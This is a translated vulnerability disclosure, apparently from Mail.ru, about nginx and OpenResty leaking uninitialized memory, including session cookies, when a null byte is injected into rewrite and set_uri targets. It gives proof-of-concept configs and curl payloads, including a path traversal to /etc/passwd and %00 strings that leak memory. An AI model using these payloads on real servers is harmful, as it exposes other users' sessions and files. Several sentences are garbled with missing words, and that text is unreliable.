About one vulnerability in ...



A year ago, March 21, 2019, in a bug bounty program Mail.ru on HackerOne came a very good bug report from maxarr . When embedding a zero byte (ASCII 0) in the POST parameter of one of the webmail API requests that returned an HTTP redirect, pieces of uninitialized memory were seen in the redirect data, in which fragments from GET parameters and headers of other requests to the same server.

This is a critical vulnerability because requests include session cookies. A few hours later, a temporary fix was made, which filtered a zero byte (as it turned out later, this was not enough, because there was the possibility of injecting CRLF / ASCII 13, 10, which allows you to manipulate the headers and data of the HTTP response, this is less critical, but still unpleasant). At the same time, the problem was referred to security analysts and developers to find and eliminate the causes of the bug.

Mail.ru mail is a very complicated application, a large number of different front-end / back-end components, both open source (many thanks to all free software developers) and our own development, can participate in the response. It was possible to exclude all components except nginx and openresty and localize the problem before calling ngx.req.set_uri ()in an OpenResty script that did not behave as expected (stick a zero byte or line feed through GET parameters from rewrite to ngx_http_rewrite_module, which, according to the documentation, is used and, it would seem, should work absolutely the same way). Possible consequences were eliminated, the most strict filtering was added, and it was verified that filtering eliminates all possible vectors. But the mechanism that led to the leak of memory contents remained a mystery. A month later, the bugreport was closed as authorized, and the analysis of the causes of the bug was postponed until better times.

OpenResty is a very popular plugin that allows you to write Lua scripts inside nginx, and it is used in several Mail.ru projects, so the problem was not considered resolved. And after some time, they nevertheless returned to her to understand the true causes, possible consequences and make recommendations for developers. The source code was excavated by Denis Denisov and Nikolai Ermishkin . It turned out that:

  • nginx rewrite directory traversal ( SSRF) , , Nginx Amplify Gixy (, , ). OpenResty , .

    :

    location ~ /rewrite {
        rewrite ^.*$ $arg_x;
    }
    
    location / {
        root html;
        index index.html index.htm;
    }




    curl localhost:8337/rewrite?x=/../../../../../../../etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    ...


  • nginx , , rewrite . nginx , , , , , . .

    (^@ )
    
    location ~ /memleak {
        rewrite ^.*$ "^@asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdasdf";
    }
    
    location / {
        root html;
        index index.html index.htm;
    }



    curl localhost:8337/secret -vv
    ...
    curl localhost:8337/memleak -vv
    ...
    Location: http://localhost:8337/secret
    ...

  • Nginx GET- rewrite GET-. nginx . POST . OpenResty GET POST , POST OpenResty .

    :

    location ~ /memleak {
        rewrite_by_lua_block {
            ngx.req.read_body();
            local args, err = ngx.req.get_post_args();
            ngx.req.set_uri( args["url"], true );
        }
    }
    
    location / {
        root html;
        index index.html index.htm;
    }
    


    :

    curl localhost:8337 -d "url=secret" -vv
    ...
    curl localhost:8337 -d "url=%00asdfasdfasdfasdfasdfasdfasdfasdf" -vv
    ...
    Location: http://localhost:8337/{... secret...}
    ...



The problem was reported to nginx and OpenResty developers, the developers do not consider the problem as a security error in nginx, because in nginx itself there is no way to exploit the error through the injection of special characters, the fix for revealing the contents of the memory was published on December 16. In the 4 months since the report, no changes were made to OpenResty, although there was an understanding that a safe version of the ngx.req.set_uri () function was needed. On March 18, 2020, we published the information; on March 21, OpenResty released version 1.15.8.3 , which adds a URI check.

Portswigger wrote I took a good article from OpenResty and Nginx (though the comment that only a small piece of memory is revealed is incorrect and misleading, this is determined by the length of the line following the zero byte and, in the absence of obvious length restrictions, can be controlled by the attacker).

So what was the mistake and what to do to prevent it?


Was there an error in nginx? Yes, it was, because a memory leak is an error anyway.

Was there an error in OpenResty? Yes, at least the issue of security of the functionality offered by OpenResty has not been investigated and documented.

Has an OpenResty configuration / use error been made? Yes, because in the absence of an explicit indication, an unverified assumption was made about the safety of the functionality used.

Which of these errors is a $ 10,000 bounty security vulnerability?For us, this is generally not important. In any software, especially at the junction of several components, especially those provided by different projects and developers, no one can ever guarantee that all the features of their work are known and documented and that there are no errors. Therefore, any security vulnerability arises exactly where it affects security.

In any case, it is good practice to normalize or to limit / filter the input data, which goes to any external module / API, if there are no explicit indications and an unambiguous understanding that this is not required.

Errata


According to the experience of the previous article , in order to preserve the purity of the language:

a bug bounty - hunting competition for bugs
bug report - error notification
redirect - redirect
opensorsny - open source
known as errata - work on the bugs

All Articles